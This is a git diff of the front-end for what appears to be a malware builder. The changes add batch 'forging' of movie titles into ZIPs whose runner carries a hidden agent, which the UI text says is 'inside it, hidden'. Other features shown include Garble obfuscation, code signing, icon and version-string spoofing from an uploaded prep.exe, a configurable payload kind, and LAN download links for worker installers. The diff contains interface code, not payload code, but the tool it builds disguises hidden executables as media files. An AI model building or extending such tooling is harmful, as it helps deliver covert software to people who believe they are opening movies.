||||||
|
style={{ marginTop: '0.5rem' }}
|
||||||
|
disabled={building || !canForge}
|
||||||
|
onClick={handleBatchForgeMovies}
|
||||||
|
>
|
||||||
|
{building
|
||||||
|
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||||
|
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
|
||||||
|
</button>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
{!simpleMode && (
|
{!simpleMode && (
|
||||||
@@ -1196,11 +1477,19 @@ export default function BuilderPage() {
|
|||||||
)}
|
)}
|
||||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||||
|
{lastBuild.fusion_export_dir && (
|
||||||
|
<>
|
||||||
|
<p><strong>Movie deliverables folder:</strong></p>
|
||||||
|
<code className="path-display">{lastBuild.fusion_export_dir}</code>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
{lastBuild.export_path && (
|
{lastBuild.export_path && (
|
||||||
<>
|
<>
|
||||||
<p><strong>Your file (project root):</strong></p>
|
<p><strong>Your file (project root):</strong></p>
|
||||||
<code className="path-display">{lastBuild.export_path}</code>
|
<code className="path-display">{lastBuild.export_path}</code>
|
||||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
{!lastBuild.fusion_export_dir && (
|
||||||
|
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||||
|
)}
|
||||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||||
<p className="form-hint">
|
<p className="form-hint">
|
||||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||||
@@ -1210,11 +1499,32 @@ export default function BuilderPage() {
|
|||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||||
{lastBuild.download_url && (
|
<div className="download-actions">
|
||||||
<a className="btn btn-primary" href={lastBuild.download_url} download>
|
{lastBuild.download_url && lastBuild.file_name && (
|
||||||
Download .exe
|
<DownloadButton
|
||||||
</a>
|
apiPath={lastBuild.download_url}
|
||||||
)}
|
filename={lastBuild.file_name}
|
||||||
|
className="btn btn-primary btn-lg"
|
||||||
|
>
|
||||||
|
Download {lastBuild.file_name}
|
||||||
|
</DownloadButton>
|
||||||
|
)}
|
||||||
|
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
|
||||||
|
<DownloadButton
|
||||||
|
key={f.file_name}
|
||||||
|
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||||||
|
filename={f.file_name}
|
||||||
|
className="btn btn-secondary"
|
||||||
|
>
|
||||||
|
Download {f.file_name}
|
||||||
|
</DownloadButton>
|
||||||
|
))}
|
||||||
|
<p className="form-hint">
|
||||||
|
{lastBuild.bundle_file_name
|
||||||
|
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
|
||||||
|
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
{lastBuild.uninstall_export_path && (
|
{lastBuild.uninstall_export_path && (
|
||||||
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
||||||
)}
|
)}
|
||||||
@@ -1263,6 +1573,8 @@ export default function BuilderPage() {
|
|||||||
<div className="build-manager-grid">
|
<div className="build-manager-grid">
|
||||||
{recentBuilds.map((build) => {
|
{recentBuilds.map((build) => {
|
||||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||||
|
const exeName =
|
||||||
|
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
|
||||||
return (
|
return (
|
||||||
<div key={build.id} className="build-manager-row">
|
<div key={build.id} className="build-manager-row">
|
||||||
<div>
|
<div>
|
||||||
@@ -1274,9 +1586,13 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<LanDownloadQR url={downloadUrl} />
|
<LanDownloadQR url={downloadUrl} />
|
||||||
<a className="btn btn-outline" href={api.buildDownloadUrl(build.id)} download>
|
<DownloadButton
|
||||||
|
apiPath={api.buildDownloadUrl(build.id)}
|
||||||
|
filename={exeName}
|
||||||
|
className="btn btn-outline"
|
||||||
|
>
|
||||||
Download
|
Download
|
||||||
</a>
|
</DownloadButton>
|
||||||
<AuthDownloadButton
|
<AuthDownloadButton
|
||||||
apiPath={api.buildUninstallUrl(build.id)}
|
apiPath={api.buildUninstallUrl(build.id)}
|
||||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||||
|
|||||||
@@ -1238,3 +1238,61 @@
|
|||||||
.forge-simple-banner .font-tech {
|
.forge-simple-banner .font-tech {
|
||||||
margin-bottom: 0.35rem;
|
margin-bottom: 0.35rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.batch-forge-panel {
|
||||||
|
padding: 1rem 1.1rem;
|
||||||
|
border: 1px solid rgba(212, 175, 55, 0.25);
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-forge-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 0.65rem;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-progress-track {
|
||||||
|
height: 8px;
|
||||||
|
border-radius: 999px;
|
||||||
|
background: rgba(255, 255, 255, 0.08);
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-progress-fill {
|
||||||
|
height: 100%;
|
||||||
|
border-radius: 999px;
|
||||||
|
background: linear-gradient(90deg, rgba(212, 175, 55, 0.85), rgba(120, 200, 255, 0.75));
|
||||||
|
transition: width 0.35s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-forge-log {
|
||||||
|
list-style: none;
|
||||||
|
margin: 0.75rem 0 0;
|
||||||
|
padding: 0;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
max-height: 10rem;
|
||||||
|
overflow-y: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-forge-log li {
|
||||||
|
padding: 0.2rem 0;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-forge-log li.batch-ok {
|
||||||
|
color: var(--neon-green, #6f6);
|
||||||
|
}
|
||||||
|
|
||||||
|
.batch-forge-log li.batch-fail {
|
||||||
|
color: var(--neon-red, #f55);
|
||||||
|
}
|
||||||
|
|
||||||
|
.download-actions {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
align-items: center;
|
||||||
|
margin-top: 0.75rem;
|
||||||
|
}
|
||||||
|
|||||||
@@ -243,6 +243,10 @@ export interface BuildRequest {
|
|||||||
fusion_enabled: boolean;
|
fusion_enabled: boolean;
|
||||||
fusion_run_order: string;
|
fusion_run_order: string;
|
||||||
fusion_output_name: string;
|
fusion_output_name: string;
|
||||||
|
fusion_payload_kind?: string;
|
||||||
|
fusion_media_mode?: string;
|
||||||
|
fusion_media_base_name?: string;
|
||||||
|
fusion_export_subdir?: string;
|
||||||
// AI Autonomy (Ollama)
|
// AI Autonomy (Ollama)
|
||||||
ai_enabled: boolean;
|
ai_enabled: boolean;
|
||||||
ai_ollama_endpoint: string;
|
ai_ollama_endpoint: string;
|
||||||
@@ -286,6 +290,11 @@ export interface BuildResponse {
|
|||||||
uninstall_export_path?: string;
|
uninstall_export_path?: string;
|
||||||
error?: string;
|
error?: string;
|
||||||
fusion_enabled?: boolean;
|
fusion_enabled?: boolean;
|
||||||
|
fusion_export_dir?: string;
|
||||||
|
extra_files?: { file_name: string; file_path?: string }[];
|
||||||
|
bundle_file_name?: string;
|
||||||
|
bundle_download_url?: string;
|
||||||
|
bundle_size?: number;
|
||||||
worker_file?: string;
|
worker_file?: string;
|
||||||
signed?: boolean;
|
signed?: boolean;
|
||||||
obfuscated?: boolean;
|
obfuscated?: boolean;
|
||||||
|
|||||||
Reference in New Issue
Block a user